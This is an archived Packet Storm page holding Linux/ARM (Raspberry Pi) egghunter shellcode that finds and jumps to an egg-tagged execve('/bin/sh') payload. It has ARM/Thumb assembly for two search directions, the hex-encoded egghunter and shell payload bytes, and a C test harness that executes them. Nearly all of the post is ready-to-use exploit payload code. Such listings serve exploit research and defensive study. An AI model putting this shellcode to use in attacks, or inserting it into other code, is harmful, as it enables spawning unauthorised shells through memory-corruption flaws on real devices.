exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/ARM Egghunter + /bin/sh Shellcode

Linux/ARM Egghunter + /bin/sh Shellcode
Posted May 31, 2018
Authored by Ken Kitahara

32 bytes smalls Linux/ARM egghunter + /bin/sh shellcode.

tags | shellcode
systems | linux
SHA-256 | a8a8818b58dd7c10ffc3f9eef5ebbd60e88af764ec5bd9d08bdf1bc70f866956

Linux/ARM Egghunter + /bin/sh Shellcode

Change Mirror Download
/*
Linux/ARM (Raspberry Pi) - Egghunter + /bin/sh Shellcode (32 bytes)

------------------------------
// If your shellcode in higer address, use following egghunter.
pi@raspberrypi:~ $ cat egghunter-higher.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
add r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"
startpoint:

pi@raspberrypi:~ $

------------------------------
// If your shellcode in lower address, use following egghunter.
pi@raspberrypi:~ $ cat egghunter-lower.s
.section .text
.global _start
_start:
.code 32
add r3, pc, #1 // switch to thumb mode
bx r3

.code 16
adr r1, startpoint // set r1 to start point address
ldr r2, egg // set r2 to egg's value

next_addr:
sub r1, r1, #1 // increment scan address
ldr r3, [r1] // set r3 to the value stored in r1's address
cmp r2, r3 // compare values
bne next_addr // if failed to find egg, jump to next address

startpoint:
mov r3, pc // switch to arm mode
bx r3

.code 32
mov pc, r1 // jump to found address

egg:
.ascii "\x50\x90\x50\x90"

pi@raspberrypi:~ $

------------------------------
*/

#include <stdio.h>
#include <string.h>

// If your shellcode in higer address, use following egghunter.
unsigned char egghunter[] = \
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x05\xa1\x04\x4a\x01\x31\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

unsigned char egg[] = \
"\x50\x90\x50\x90" // egg tag
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1" // execve('/bin/sh')
"\x49\x40\x52\x40\x01\xa0\xc2\x71"
"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
"\x2f\x73\x68\x41";

// If your shellcode in lower address, use following egghunter.
//unsigned char egghunter[] = \
//"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa1\x04\x4a\x01\x39\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";

void main()
{
printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
printf("Egg shellcode Length: %d\n", strlen(egg));

int (*ret)() = (int(*)())egghunter;

ret();
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close